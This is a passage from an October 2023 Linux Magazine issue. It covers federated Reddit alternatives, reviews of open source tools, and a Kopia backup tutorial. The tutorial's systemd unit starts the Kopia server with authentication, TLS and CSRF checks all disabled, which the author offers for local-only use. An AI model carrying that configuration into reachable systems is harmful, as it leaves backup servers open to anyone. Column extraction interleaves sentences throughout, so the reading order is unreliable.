you are interested in, and copy the community’s

82 OCTOBER 2023 ISSUE 275 [Link]

 A FEDERATED REDDIT ALTERNATIVE LINUX VOICE

shortcut address in the blue box in the column on

the left. For example, the technology community in
[Link] will show the address !technology@
[Link]. Go back to your own instance, click on
Communities, and paste the address into the
search box.
Note that this does not always work immedi-
ately, but in a matter of minutes you will be able to
post to communities on other instances from
your own. As your instance becomes more dis-
coverable, users will be able to post on yours from
afar. Gradually, the list of posts from communities
you subscribe to on other instances, and the list
of communities itself, will fill up, as the Fediverse
spiders connect you to more and more instances
(Figure 7).

/kbin
Another project that seeks to become a Fedi- Figure 7: Your instance will fill
verse-enabled news aggregator is /kbin [9]. It has sure that is what happened. The stats of Lemmy and grow its federated net-
a more polished look than Lemmy and integrates shot up during the protest and new instances work as the activity increases.
perfectly with Lemmy. Indeed, more than half of started sprouting up like toadstools after the rain.
the posts on the front page of /kbin’s most popu- At least for the tech-savvy FLOSS community, it
lar instance ([Link]) come from communities was not so much a surrender than the realization Figure 8: Another Reddit-like
hosted on Lemmy instances (Figure 8). that there was an out into the Fediverse. news aggregator, /kbin inte-
There is not much sense in keeping up a protest if grates seamlessly with the
Conclusion your demands are met, even if it is elsewhere. Q Q Q network of Lemmy instances.
Louis Rossmann, the right-to-repair activist with
several run-ins with Apple, lamented on his YouTube
channel how Redditors had caved and given in to
the site’s owner’s new conditions [10]. I am not so

Info
[1] Cory Doctorow defines “enshittification”:
[Link]
tiktok-platforms-cory-doctorow/
[2] Reddit owners announce they are closing the
source: [Link]
comments/6xfyfg/an_update_on_the_state_
of_the_redditreddit_and/
[3] Lemmy: [Link]
[4] Choose your favorite Lemmy instance:
[Link]
[5] Formatting guide to Lemmy posts and com-
ments: [Link]
[Link]
[6] PeerTube integration : [Link]
news/2022-05-27_-_Lemmy_Release_v0.16.
4_-_Peertube_federation,_Rust_API_and_
The Author
other_improvements
Paul Brown has been writing about technology professionally since 1996,
[7] Lemmy installation documentation:
when he got his first break writing a monthly column for the Spanish tech
[Link]
underground magazine ARROBA. Since then, he has written extensively
[Link] about Internet fads, creative programming, and fancy gadgets, as well as
[8] Lemmy Ansible installer: [Link] free software and free hardware. He has edited Ubuntu User magazine
LemmyNet/lemmy-ansible both in Spanish and English, Raspberry Pi Geek (in English), and the Spanish
[9] /kbin: [Link] edition of Linux Magazine. He currently writes for Linux Magazine and Linux.
com, and he acts as a Communications Officer for Free Software
[10] Louis Rossmann talks about the Reddit pro- organizations such as KDE e.V. and Free Software Foundation Europe.
test: [Link]

[Link] ISSUE 275 OCTOBER 2023 83

LINUX VOICE FOSSPICKS

FOSSPicks Sparkling gems and new

releases from the world of
Free and Open Source Software

This month, Graham finally migrated his old CentOS 6 server to a shiny
new Ubuntu LTS release. It had been running for over a decade and
handled all his email and messaging. BY GRAHAM MORRISON
Video stabilizer and snowboarding, to chasing elements into their video below plotting the yaw,

Gyroflow
people around the garden. stabilization, but it’s a diffi- pitch, rotation, and zoom
For any of this footage to be cult trick to pull off in open from the camera. This data
watchable, it needs motion stabi- source without either a can be loaded separately or
lization. Back in the olden days of great deal of manual edit- decoded from the video file.
here was a time when filmmaking, motion stabilization ing or Gyroflow. Each section can be resized

T many of us laughed at the

silly people and their selfie
sticks – absurd periscopes stick-
came from the physical setup of
a shot, including wheeled dolly
carts on rail tracks, and weighty
Gyroflow is a mature desk-
top application that helps
you use embedded gyro-
dynamically according to
how you might want to
work, but if the motion data
ing out of a crowd holding front- gimbals that counter physical scope and accelerator data isn’t embedded, this is the
facing phones in the air or ski- movement with opposite move- to stabilize a linked video re- place to start, followed by
pole-attached cameras hovering ments of their own. Modern mo- cording. It does this by intelli- the synchronization step
ahead of some great action jump tion stabilization mostly replaces gently cropping each frame and lens profile.
or remarkable descent. But times these costly and bulky parapher- to leave an overscan area it Many popular lens profiles
have changed, and what one gen- nalia with embedded gyroscopes can cut into, frame-by-frame, are available, both official
eration considered narcissism and accelerometers combined to compensate for any de- and unofficial, including pro-
has now become completely nor- with an abundance of image reso- tected movement. For this to files for the GoPro MAX lens
malized. We are now recording lution for image processing. work, the video must come mods, and these are used to
more videos than we ever thought GoPro devices are particularly ef- from a supported camera ensure the integrity of the
possible, from mountain biking fective at combining these so that Gyroflow can parse field-of-view projection while
the motion data, but a wide the stabilization dynamically
range of devices are sup- moves the view through the
ported, including nearly all cropped areas. This is done
modern GoPro, DJI, Sony, in real time, with or without
and Insta360 cameras. CUDA, acceleration using
GoPro support is particu- the output preview transport
larly well implemented as controls, and you can turn
videos from these devices stabilization on or off here,
can be dragged directly into as well as see the stabiliza-
the main window without re- tion frame within the entire
quiring the synchronization video field. It’s a brilliant way
step that other devices re- to understand how the pro-
quire to link the motion data cess works. The final step is
to the video. exporting the rendered
To help navigate what video, with the final output
could be a complex process, being of much higher quality
the Qt 6-based user inter- than the preview. It’s perfect
face is especially well de- for fixing anything wobbly,
1. Supported cameras: To get the most out of Gyroflow, you need video from a sup- signed. On the left is a col- from drone footage to
ported camera, such as a recent GoPro. 2. Stable video: The editor view will show umn that deals mostly with drunken barbecue footage,
the cropped stable part of the overall recording. 3. Overscan buffer: This area is input, including file manage- and it’s amazing that an ap-
used to compensate for the motion to keep the image still. 4. Motion data: Gyro- ment for motion data and plication of this quality and
scope data is either embedded in the video or loaded and synchronized separately. lens profiles, while a column maturity is freely available
5. Stabilization: Fine-tune both the smoothness and the amount of cropping on the right handles the pro- and open source.
required to maximize output video quality. 6. Lock horizon: The horizon can cessing and output. The
optionally be fixed for the duration of your video. 7. Export: Use your GPU to accel- output preview panel sits in Project Website
erate output rendering and improve the overall quality of the video. the middle, with a section [Link]

84 OCTOBER 2023 ISSUE 275 [Link]

 FOSSPICKS LINUX VOICE

Granular synthesizer

gRainbow
he cleverly named gRain- some of the original elements of

T bow is a granular audio

synthesizer (grain bow)
with a colorful interface (rain-
the sound which are then used
as the source for other process-
ing. For gRainbow, that extra pro-
bow). If you’ve not encountered cessing is pitch detection, which
the this type of sound generator is central to its own sound, giv-
before, a granular synthesizer ing you the ability to turn almost gRainbow is cross-platform, but the Linux package includes VST
takes a clip or sample from an any source into a new, fully and LV2 plugin versions, as well as a standalone executable.
audio source and splits this up fledged synthesizer of its own.
into tiny slices, or grains. During Pitch detection is central to and a spectrogram view, and the colors match those of
playback, multiple grains will play gRainbow because it’s used to the notes in the scale shown at the bottom of the figure.
at once, each with its own synth- generate grains from a sample The notes then have their own parameters for controlling
assigned envelope and modula- position into a specific pitch-re- all of the grains in whatever cloud is associated with the
tion characteristics which com- lated group, or cloud, split into pitch. This includes position and pan variation, amplitude,
bine with the original audio char- the chromatic scale of 12 notes. pitch adjustment, and a filter envelope. It can be much
acteristics of the slice, which For this reason, it’s best to load more effective at retaining the original character of a
leaves you with an adaptable ver- longer samples containing plenty sound than the related technology of time-stretching,
sion of the original sound source. of pitch variation as a source for which does introduce artifacts into the sound, with the
Unlike sampling, which attempts the pitch detection. The rainbow added benefit of sounding entirely unique.
to exactly reproduce a sound, graphic is used to illustrate vari-
such as a flute, a granular syn- ous elements of the sound, in- Project Website
thesizer attempts to mimic only cluding the grains in a frequency [Link]

Terminal beat generator

Polyrhythmix
he command line isn’t the Polyrhythmix is the best of

T place you would expect to

find utilities for music
making, and yet there are plenty of
both linuxwave and Marathon,
creating an output mix of beat
mashing and polyrhythmic ex-
command-driven tools to generate ploration encapsulated within a
notes, rhythms, audio, and even MIDI file. It was developed by a
noise. There’s the brilliant linux- guitar player who was unable to
wave ([Link] transcribe the complex interrela-
linuxwave), for instance, which will tionships between different Alongside drum programming, Polyrhythmix can optionally generate
tap into your system’s entropy rhythms in guitar tablature. a bass track to go alongside the kick drum.
through /dev/urandom and gener- Polyrhythms are particularly dif-
ate simple melodies according to ficult to transcribe because they that is a mixture of 8th-note kick drum triplets (8x--x--)
your chosen scale, tempo, and will include two or more ele- and quarter note snare hits (4-x). It will take three bars
number of channels. Marathon ments with different time signa- for these two to go through their respective cycle be-
([Link] tures, and almost all transcrip- tween each other, and this will be the length of the out-
Marathon) is another, which rather tion is against a backdrop of a put MIDI file. This can then be pasted into your favorite
than generating audio, will gener- single signature. Polyrhythmix MIDI editor. Note lengths can be anything from a triplet
ate a MIDI file containing a micro- solves this problem with its own or dotted 64th note to a single whole note, and patterns
rhythm blend between two other domain specific language (DSL) can even be nested with brackets. The input is simple,
rhythm patterns that you define, that it uses to describe each but the output can quickly become complex and com-
such as a morph between West input element. For example, ap- pelling and is brilliant for experimentation.
African Triplets and a Viennese pending --kick '8x--x--'
Waltz. It’s a feature you can’t find --snare '4-x' to the poly com- Project Website
anywhere else. mand will create a drum pattern [Link]

[Link] ISSUE 275 OCTOBER 2023 85

LINUX VOICE FOSSPICKS

Music for programming

mfp
hen we launched the music. This was a purely invented

W Linux Voice crowd-

funding campaign, we
needed to create a video to intro-
command and we edited the
music later. But the most com-
mon question we got when the
duce ourselves and our ideas for video went live was where people
the magazine. We did all of this could find the command we used
ourselves with an old Canon DSL to “play any music by Brad Sucks.”
camera and a couple of banks of Sadly, we didn’t have an answer, The musicforprogram-
cheap LED lights, all edited in but we almost do now with mfp, a [Link] site currently into drones and echo, and putting
Kdenlive. To end the video, we simple command-line tool that hosts 99 hours of music, a tool like this in your path is a
created a Blender-rendered ver- will play “Music for Programming.” spread across 1,195 very convenient way of launching
sion of our imagined first issue This “Music for Programming” tracks within 68 sepa- playback without the temptation
animated, falling from the screen part is both a description of the rate podcast episodes. to lose context on a desktop or
onto a white tabletop accompa- type of music that it plays, and a browser. It works without any fur-
nied by a Hollywood-style low-fre- reference to where this music ther options, but can take two ad-
quency crash sound. But to start comes from, because there’s a ditional optional arguments for
the video, we screen captured a well-known web site with the track number and volume. This is
script running in Bash pretending same name (musicforprogram- all you need when you’re “in the
to boot a fictitious operating sys- [Link]). It’s a fantastic source zone” and need to side-load some
tem called “lvos.” Into this fictional for sounds when you need to con- thinking music.
operating system we then typed a centrate and focus the mind. It’s
command to play any music by mostly a mix of ambient and ab- Project Website
Brad Sucks to start the theme stract sounds that slowly evolve [Link]

System monitor

Mission Center
henever we look at a can show individual graphs for

W new system monitor-

ing tool, we always
preface our description with some
every CPU core, for instance,
rather than an aggregated value
for system usage. This is particu-
words on just how many system larly useful if you’re running single
monitoring tools there already are, threaded applications or virtual
because there are many. So many, machines consigned to specific
in fact, you’d think there would be cores because it will allow you to
little room to improve on those al- monitor their use alongside what- Mission Center looks and behaves much like a similar Windows
ready available, from KDE to the ever else your system is doing. application, but it’s brilliant because of this.
command line. But maybe not The aggregate CPU usage view
Gnome, because Mission Center is the default option, and there are GPUs are built for parallelization, which means they can do
is a new and beautifully designed tabs for memory usage, individual all these things at the same time without necessarily af-
monitoring tool that integrates storage device usage, network fecting core desktop performance. You also get essential
best with the Gnome desktop and usage, and GPU resources. The GPU statistics, such as memory use, clock speed, memory
looks exactly like its Windows last one is a relatively rare option speed, power draw, and temperature. This is essential info
counterpart. The Gnome desktop in system monitors and Mission if you have a decent AMD or NVIDIA GPU and care about
already has its own monitor in Center does a great job at making its performance. Alongside all of this there’s also a tradi-
System Monitor, a tool that will this useful. Not only does it chart tional top-like process view for running applications, which
serve most users perfectly, but overall utilization, it will show sep- is helpful for keeping everything in the same application.
users migrating from Windows arate graphics for video encoding
may want a little more familiarity and decoding, as well as memory Project Website
and granularity. Mission Center usage. This is useful because [Link]

86 OCTOBER 2023 ISSUE 275 [Link]

 FOSSPICKS LINUX VOICE

KDE tiling that the project is no longer being main-

tained. This is important because many

polonium of us want to continue using a powerful

tiling solution for KDE, at least until the
native solution matures. More impor-
he KDE desktop is won- tantly, polonium is built specifically for

T derful for many reasons,

but one of its more ar-
cane super-abilities is that its
KDE 5.27+ running on Wayland, with X11
support being very unofficial (although it
works with a few issues). This makes it
window manager (KWin) can be the only tiling option that can bridge both
scripted to behave like a tiling the lack of Bismuth support for recent
window manager. This even be- KDE releases and the migration to Way-
came an official feature in land, and it already works brilliantly. It can
Plasma 5.27, where a couple of mimic most of Bismuth’s features, includ-
keys and mouse clicks could be ing its most important tiling modes, with
used to lock windows into a dy- extra options for where new tiles appear
namic full-screen configuration. and whether or not selected tiles have a
But this move also supplanted border. Most importantly, it adds its own
some of the established long- set of keyboard shortcuts, effectively fill-
term projects that had blazed The developer behind polonium worked on one of the ing in a huge feature gap for KDE’s built-in
the trail for KDE tiling, and one of original tiling options, autotile. solution. There are shortcuts for swap-
the most popular, Bismuth. But ping and resizing tiles, changing the lay-
there’s a problem, because KDE’s for something like Bismuth or out, and selecting the active window, and you can still drag
native tiling is only really at the KWin tiling scripts. But polonium and drop windows into place, or use the cursor to scale
proof-of-concept stage, and cur- is that replacement and makes their sizes automatically. Polonium is the best of all worlds.
rently offers very simple tiling the best of both projects.
options with very limited control. Polonium is a new and unoffi- Project Website
It’s definitely not a replacement cial successor to Bismuth now [Link]

Mastodon client

Ebou
astodon has been developers to build-out and inno-

M able to successfully
navigate itself through
both a huge surge in popularity
vate on their own ideas in a way
official clients do not, and this is
exactly what Ebou has done.
and the utterly predictable reced- Ebou is a beautifully designed cli-
ing engagement in the wake of ent with a unique approach to
this popularity. That it was able presenting your Mastodon time-
to scale in both directions is a line and the information it Ebou is a Rust-written Mastodon client that will connect to your
huge testament to open source contains. favorite instance to help you explore your timeline in new ways.
software and the community of Instead of a column view that
moderators and sys admins that shows either your selected time- that column remains untouched, and it lets you easily ex-
kept everything running. There’s line, search, or user posts and plore the posts from people you follow and the interactions
still lingering discontent with the their replies, Ebou will expand they’re having from a single view. It’s a little like TweetDeck
alternatives, even new ones, be- upon this simple column to show for Twitter, or a modern messenger client in conversation
cause of their decisions to do two more views. One shows the view, and it’s another compelling reason for Mastodon to
things like limit their API access, selected account timeline while succeed. The developer has done a fantastic job in making
or force-link accounts to Insta- the other contains the threaded this work, and also in being brave enough to open source
gram, and this has helped Mast- conversation for the selected their work when they were originally very cautious. Hope-
odon remain many times more post. It’s a brilliantly intuitive way fully, the already healthy community support for this appli-
popular than it was before. The of exploring your own timeline be- cation will reward them for their work.
API is particularly important cause you never lose the context
when it comes to third-party cli- of whatever post sparked your Project Website
ents, because it enables deeper investigation, because [Link]

[Link] ISSUE 275 OCTOBER 2023 87

LINUX VOICE FOSSPICKS

IRC client

WeeChat 4
hirty years after its incep- But WeeChat is unri-

T tion, it’s remarkable that

IRC is still being used,
and equally remarkable that
valed when it comes
to configuration and
adaptation, thanks to
more people aren’t using it. Like a large internal group
RSS, it’s built perfectly to do a of settings, and a
single job well, without needing a huge external library
REST API or hooks for advertis- of scripts. These
ing. The server is as light on a scripts can be written
system as the clients are, and in anything and can
even without the API, it can be modify almost every-
shoehorned into performing all thing about how Wee- The built-in relay plugin can be used to send input and view output from a local
the same functions as Slack or Chat behaves, en- port and works with the Android WeeChat thin client and other solutions.
Mattermost, from web-based cli- abling it to talk to
ents and smartphone apps, to Telegram and WhatsApp, or vertically, abbreviate names,
secure private instances and em- bridge a group to Matrix and Mat- change colors, and respond auto-
bedded multimedia. IRC also termost. A whole family of scripts matically. Everything is saved in-
benefits from having all the best deal with notifications, music con- dividually as a layout, or as a
clients because they can all inter- trol, system updates, and channel global snapshot, and you can
face so directly with the servers management, while you can com- switch between configurations
and augment their functionality pletely change the default view of as needed. It’s totally overwhelm-
without fear of gigantic subscrip- buffer/channel list, chat, and nick- ing but massively rewarding, even
tion reprisals or rate limiting. And names. A built-in relay enables all if you’ve never used IRC before or
the best client is WeeChat, a 20 kinds of other services to access intend to use the client to aggre-
year old client we looked at some your WeeChat instance, and it gate your other favorite services.
years ago with the release of ver- works particularly well with the All of these features were avail-
sion 3. The project has just WeeChat Android front end which able before the release of version
passed its 4.0 milestone. can access a remote WeeChat 4, and version 4 ups its capabili-
WeeChat is a terminal-based relay to provide full access to your ties into a league of its own. Wee-
IRC client unlike any other group WeeChat configured messaging Chat now assumes 256 colors by
messaging chat client. If you’re al- capabilities while also buffering default. These colors all are used
ready familiar with IRC, its com- discussions for when you next to good effect in online and away
mand-driven interface is already want to connect. colors, colors to indicate who
easy to use, and you can connect Built-in features let you split typed what, and various mes-
to your favorite servers in no time. buffer panels horizontally or sages and status characters.
Configuration files are now ver-
sioned and keybindings are hu-
man-readable, all to help with
deep setting exploration, and
there are dozens of new options
and commands. It may have
been 20 years, but there has
never been a better time to get
back into IRC, and there’s no bet-
ter client than WeeChat. It’s per-
fect for running in a tmux session
on a cheap VPS somewhere, giv-
ing you untethered and uncen-
sored persistent access to the
best conversations, and some of
the worst, on the Internet.

With the release of version 4, the WeeChat project celebrates 20 years of active Project Website
development. That’s a long time, but not nearly as long as IRC itself! [Link]

88 OCTOBER 2023 ISSUE 275 [Link]

 FOSSPICKS LINUX VOICE

Game development

microStudio
ith so many freely Everyone plays games these

W available resources
and established plat-
forms to use, there has never
days, and it’s an incredibly popu-
lar career choice. It’s also a mis-
sion that rewards unique ideas.
been a better time to start pro- The problem is turning those
gramming. There are openly li- ideas into code, and there are al-
censed courses, freely available most as many options to help as
magazine tutorials, online videos, there are games, from the forced
interactive platforms, and offline retro of PICO-8 to the complexity
editors for almost every lan- of Godot. MicroStudio, however,
guage and framework. But is a wonderful learning platform
there’s nothing quite like having a that sits somewhere between the While it’s easier to create 2D pixel-based games with microStudio,
project first, and using this proj- two. Like PICO-8, it will build there are plenty of examples that implement simple or pseudo 3D
ect as the driving force to learn. If standalone 2D games and use its for maze exploration or driving games.
you want to automate your own Lua-like scripting language,
home, for example, you could but those games are unlimited in locally or hosted online to help you better collaborate or
learn programming through their scope. Best of all, microStu- code straight from your browser. Combine this with the
building your own Node-RED so- dio includes everything you need many example projects it includes, and the online tutorials
lution, or with Python and the within the same window, includ- to help you master the minimal language scope, and
Home Assistant REST API. One ing sprite editing, map editing, you’ve got one of the best ways to get someone into both
of the best kinds of projects, es- and music and sound manage- programming and developing their game idea.
pecially if you’re helping a ment, alongside the code editor,
younger person to start program- game preview, and debug con- Project Website
ming, is to write a video game. sole. All of these can either be run [Link]

Multiplayer shooter

Hypersomnia
ver since BZFlag, open package is a zany quick blast of

E source gaming has been

so much more fun when
played with other people. But
adrenaline.
The best way to learn how to
play is to dive into a game, guns
BZFlag was first released 30 blazing. You run around crudely
years ago, at the end of 1993, drawn top-down levels toting
and new games that are pur- your weapon of choice, through
pose-built for multiplayer are primary colors, chasing for In an age where games are 100s of gigabytes in size, it’s extremely
few and far between. Which is movement before releasing a rare to find one that’s less than 30 megabytes and proud of it. Hyper-
why it’s wonderful to see Hyper- volley of gunfire. Your online somnia is that game.
somnia, a retro-styled, 2D, top- combatants will be doing the
down intense shooter for more same, and everything can presumably make it something like Grand Theft Auto
than one person. It’s a cross be- change very quickly. There are only with its original graphics. At the moment, however,
tween Alien Breed, Hotline 24 different firearms to choose there are just two game modes to choose between, with
Miami, and Smash TV, all rolled between, with four extra gre- one asking you to defuse a bomb somewhere and the
into a multiplayer environment nade types, seven gory melee other simply asking you to kill the other teams. There
with various missions that take weapons, and even a few spells. are three teams to choose between, and watching your-
their inspiration from 3D FPS This latter component is there self run around trying to quickly make sense of the envi-
games. The sounds will also feel because the developer wants to ronment and its threats is a lot of fun.
familiar to anyone who may develop the game into an RPG,
have wasted a weekend on complete with MMO shooter el- Project Website
Counter-Strike, and the whole ements, which would [Link]

[Link] ISSUE 275 OCTOBER 2023 89

LINUX VOICE TUTORIAL – MASTERING KOPIA

Multifaceted backups with Kopia

On the Safe Side

Data deduplication, encryption, compression, incremental backups, error correction,
and support for snapshots and popular cloud storage services: Kopia delivers.

good backup tool is like a dishwasher: It’s hurt if all of this were wrapped in a user-friendly

A
BY DMITRI POPOV
not something most of us get excited interface.
about, but the degree to which it improves It may sound like a pipe dream, but that’s ex-
our daily lives is hard to overstate. And like with a actly what Kopia [1] has to offer. Plus, this cross-
dishwasher, no one really wants to spend time at- platform tool features a built-in web server and a
tending to a backup tool. Ideally, you’d want to set dedicated desktop graphical application. And it
it up once and let it do its job with the push of a goes without saying that you can use Kopia from
button or have it perform backups automatically, the command line. In short, it’s pretty much a per-
with no user interaction whatsoever. fect tool for keeping your data safe.
Picking the right backup tool is not as trivial as
choosing a dishwasher, though. Sure, you can Getting Started with Kopia
whip up a simple shell script that backs up data to Unsurprisingly, to use Kopia you have to install it
a different storage device using good old rsync. on your system first, and the project supports
But in this day and age, it’s simply not enough. If practically every installation option imaginable.
you’re serious about keeping your data safe, you There are packages for most mainstream Linux
want to use a tool that supports incremental back- distributions, there are Docker images for those
ups, deduplication, snapshots, and other useful who prefer to go the container route, there are
features. For an offsite backup, you definitely want AppImage packages, and you can even grab a
your backup tool to support mainstream storage single executable binary from the project’s
services and encryption. On top of that, it wouldn’t GitHub repository.
If you happen to use an Apt-based Linux distri-
Listing 1: Apt-based Kopia Installation bution (Debian, Ubuntu, or Linux Mint), installing
the latest version of Kopia is a matter of running
curl -s [Link] | sudo gpg --dearmor -o /etc/apt/
keyrings/[Link]
the commands in Listing 1.
The official documentation also suggests in-
echo "deb [signed-by=/etc/apt/keyrings/[Link]] [Link]
[Link]/apt/ stable main" | sudo tee /etc/apt/[Link].d/[Link] stalling the Kopia UI desktop application, but
sudo apt update
you don’t really need it, because you can access
sudo apt install kopia
and control Kopia via its web UI. In fact, the web
UI offers the most straightforward way to learn
Kopia’s basics. To enable the web UI, you need
Listing 2: Service Definition to configure and start Kopia’s built-in server.
[Unit]
Normally, this involves creating a Kopia user,
Description=Kopia server
configuring permissions, and creating and en-
abling a certificate. The good news is that you
[Service]
don’t need any of that if you only want to ac-
cess Kopia from the same machine it runs on,
Restart=always
and the machine itself is not accessible from
ExecStart=kopia server start --insecure --without-password
--disable-csrf-token-checks outside of the local network. In this case, you
ExecStop=/usr/bin/kill -HUP $MAINPID can start Kopia’s server with all security mea-
sures disabled using:
[Install]

WantedBy=[Link]
kopia server start --insecure --without-password U
--disable-csrf-token-checks

90 OCTOBER 2023 ISSUE 275 [Link]

 TUTORIAL – MASTERING KOPIA LINUX VOICE

Figure 1: Kopia supports a wide range of storage types.

When the server is running, point the browser to defaults, you might want to enable the error cor-
[Link] to access Kopia’s web UI. rection feature that reduces the likelihood of data
Starting the server manually is fine, but a better corruption caused by bitrot or hardware issues.
approach is to let the system do that automati- To enable this feature, set the Error Correction
cally on boot through a systemd service. To do Overhead option to the desired value. This value
this, use the following commands to create a ded- determines how much storage space is used for
icated directory for systemd services, and then the error correction code. Keep in mind that the
create a new systemd unit file and open it for error correction functionality is still experimental.
editing: When you’ve configured the options, click Create
Repository to create the backup repository.
mkdir -p ~/.config/systemd/user/ Like most modern backup tools, Kopia doesn’t
nano ~/.config/systemd/user/[Link] simply mirror the data you want to keep safe. In-
stead the application uses the concept of snap-
Enter the service definition in Listing 2 and save shots. Every time you run a backup job, Kopia cre-
the changes. ates a snapshot, or a backup catalog that is frozen
Use the following commands to enable and in time. The data in the snapshot reflects the di-
start the service as well as enable it on boot: rectory structure and the state of each file as it
was at the moment the snapshot was created.
systemctl --user daemon-reload The snapshot approach has several advantages
systemctl --user enable [Link] compared to a straight backup, key among them
systemctl --user start [Link] being the ability to restore previous versions of
loginctl enable-linger $USER specific files and directories. On the downside, the
snapshot-based backup approach requires more
With the Kopia server up and running, the next storage than the source. So it’s a good idea to allo-
step is to create and configure a location for stor- cate as much storage space for use with Kopia as Figure 2: Creating a new
ing backups, called a backup repository. The land- possible. backup repository.
ing page in the web UI lists all supported storage
types (Figure 1), so creating and configuring a
new backup repository is a matter of clicking the
appropriate button (Figure 2). To set up an exter-
nal USB storage device as a backup repository,
click the Local Directory or NAS button (Figure 1).
Assuming that the target storage device is con-
nected and mounted, enter the root directory or a
specific folder on the storage device in the Direc-
tory Path field, and click Next. Because Kopia en-
crypts backups, you must specify a password for
the new repository. It goes without saying that if
you lose or forget the password, you won’t be able
to access your backups. The Advanced Options
section lets you configure additional settings.
While you can leave most of the options at their

[Link] ISSUE 275 OCTOBER 2023 91

LINUX VOICE TUTORIAL – MASTERING KOPIA

the path to the directory with the data you want

to back up. You can then configure snapshot set-
tings using the available options. You can spec-
ify the number of snapshots you want Kopia to
keep in the Snapshot Retention section (as al-
ready mentioned, you might want to leave the
options at their defaults), and you can list the
files and directories you want to exclude from the
backup in the Files section (Figure 4).
As any backup application worth its salt, Kopia
makes it possible to set up a schedule for auto-
matically creating snapshots (Figure 5). This can
be done by configuring the available options in
the Scheduling section. The most straightfor-
ward way to enable regular automatic backups is
to choose the desired interval from the Snapshot
Frequency drop-down list. This way, you can con-
Figure 3: Kopia makes it figure intervals from every 10 minutes to every
possible to configure a But if Kopia creates a new snapshot every time 12 hours. If you want Kopia to automatically cre-
snapshot retention policy. you run a backup job, wouldn’t you need infinite ate snapshots every day at a specific time, spec-
storage to keep an infinite number of snapshots? ify one or several time entries in the Times of Day
Yes, but in reality, it’s unlikely you’d need to keep all section. For example, if you want Kopia to create
snapshots Kopia has ever created. Realistically, snapshots at 11am and 5pm, enter 11:00 and
you’d want to keep a couple of yearly snapshots, 17:00, each on a new line. And here’s the clever
weekly snapshots that go back a month or so, part: If Kopia detects no new or modified files, it
hourly snapshots for the last 48 hours, and so on. skips the scheduled snapshot operation, which
You can then let the backup tool automatically re- avoids clogging the storage device with identical
move outdated snapshots, which frees up storage snapshots.
and ensures that you’ll never run out of space. After you’ve configured the settings, press the
This is exactly what Kopia’s snapshot retention Snapshot Now button to create a new backup
mechanism is designed to do. The application al- snapshot.
lows you to specify how many latest, daily, weekly, If you take a look at backup snapshots on the
monthly, and annual snapshots you want to keep. storage device, you’ll see directories with en-
It could be a bit tricky to figure out how many of crypted files in them. In other words, you can’t
each type of snapshots you might need. The good directly access the backup data. Instead, you
news is that Kopia features sensible defaults, so can browse the backups using Kopia’s web UI or
you don’t have to deep-dive into the topic right the Kopia desktop application. In the Snapshots
Figure 4: You can exclude from the start (Figure 3). section, click on the path defined as a backup
certain files and directories To perform a backup (i.e., create a new snap- source, and you should see a list of all snap-
from the backup. shot), click the New Snapshot button, and enter shots. Click the desired snapshot entry, and you
should see the source data as it was at the mo-
ment the snapshot was taken. You can traverse
the directories to locate the file you need. Click
on the file’s link to download it. Kopia has an-
other clever trick up its sleeve: It allows you to
mount a snapshot as a local filesystem, so you
can work with it using a file manager. To mount
a snapshot, click the Mount as Local Filesystem
button. This mounts the current snapshot and
conveniently displays the path to its mount
point.
Using Kopia’s web UI or a mounted filesystem
works fine if you need to restore one or two files
or directories, but if you need to perform a full
restore of the backed up data, there is a better
way to do this (Figure 6). In Kopia’s web UI, se-
lect the desired snapshot, press the Restore
Files and Directories button, specify the destina-
tion directory for the restored data (this

92 OCTOBER 2023 ISSUE 275 [Link]

 TUTORIAL – MASTERING KOPIA LINUX VOICE

directory must be empty), and hit Begin Restore.

Instead of restoring the entire snapshot, you
can restore a single directory and all its content.
To do this, navigate to the desired directory in
the snapshot, and then press Restore Files and
Directories.

Using Kopia from the Command Line

The Kopia desktop application and the web UI
offer a user-friendly way of using the applica-
tion, but nothing beats the efficiency of the
command line. In fact, you can set up a new
backup repository, connect Kopia to it, and cre-
ate a snapshot using the three simple com-
mands in Listing 3.
To list all existing snapshots, run the kopia
snapshot list command, and to restore data from
a specific snapshot, use the kopia snapshot re-
store command followed by the hash of the de- Figure 5: You can schedule automatic backups.
sired snapshots and the path for saving the re-
stored data: Listing 3: Set Up, Connect, Create
kopia repository create filesystem --path /path/to/repository
kopia snapshot restore U kopia repository connect filesystem --path /path/to/repository
ke5ba82cc69841df04f5839102f0cd53d U
kopia snapshot create /path/to/source
/path/to/restore/dir

In most cases, you’re likely to keep multiple Conclusions

backup copies, and you can use Kopia to create Hopefully by now you know enough to put Kopia
and manage several repositories. Better still, to work on backup duties. But there is much,
Kopia makes it possible to synchronize the cur- much more to the application beyond its basic
rently connected repository with another local or functionality. If you are serious about backup, it’s
remote repository. This means that you can, for worth putting time and effort into learning and un-
example, connect to a repository on a local stor- derstanding Kopia’s advanced features. Data loss
age device and then simply synchronize it with a is as inevitable as death and taxes, and sooner or
remote repository. Unfortunately, you can only later a backup will save your bacon. Kopia is
perform synchronization from the command line. equipped to do just that. Q Q Q
Fortunately, it’s just a matter of running a single
command. You can synchronize the currently
Info
connected repository to a remote Backblaze B2 Figure 6: Restoring data
repository (where BUCKET is the actual name of [1] Kopia: [Link] from a snapshot.
an existing B2 bucket) with:

kopia repository sync-to b2 --bucket BUCKET

By default, the synchronization command doesn’t

synchronize deletions, but adding the --delete
flag enables that:

kopia repository sync-to b2 --bucket U

BUCKET --delete

The Author
Dmitri Popov has been writing exclusively
about Linux and open source software for
many years. His articles have appeared in
Danish, British, US, German, Spanish, and
Russian magazines and websites. You can find
more on his website at [Link].

[Link] ISSUE 275 OCTOBER 2023 93

 SERVICE
Back Issues

LINUX
NEWSSTAND
Order online:
[Link]

Linux Magazine is your guide to the world of Linux. Monthly issues are packed with advanced technical
articles and tutorials you won't find anywhere else. Explore our full catalog of back issues for specific
topics or to complete your collection.

#274/September 2023
The Best of Small Distros
Nowadays, all the attention is on big, enterprise distributions supported by professional
developers at big, enterprise corporations, but small distros are still a thing. If you’re shopping
for a Linux to run on old hardware, if you just want a simpler system that is more responsive
and less cluttered, or if you’re looking for a special Linux tailored for a special purpose, you’re
sure to find inspiration in our look at small and specialty Linux systems.
On the DVD: 10 Small Distro ISOs and 4 Small Distro Virtual Appliances

#273/August 2023
Podcasting
On the Internet, you don’t have to wait for permission to speak to the world. Podcasting lets you
connect with your audience no matter where they are. Whether you're in it to build community,
raise awareness about your skills, or just have some fun, the tools of the Linux environment
make it easy to take your first steps.
On the DVD: Linux Mint 21.1 Cinnamon and openSUSE Leap 15.5

#272/July 2023
Open Data
As long as governments have kept data, there have been people who have wanted to see it and
people who have wanted to control it. A new generation of tools, policies, and advocates seeks
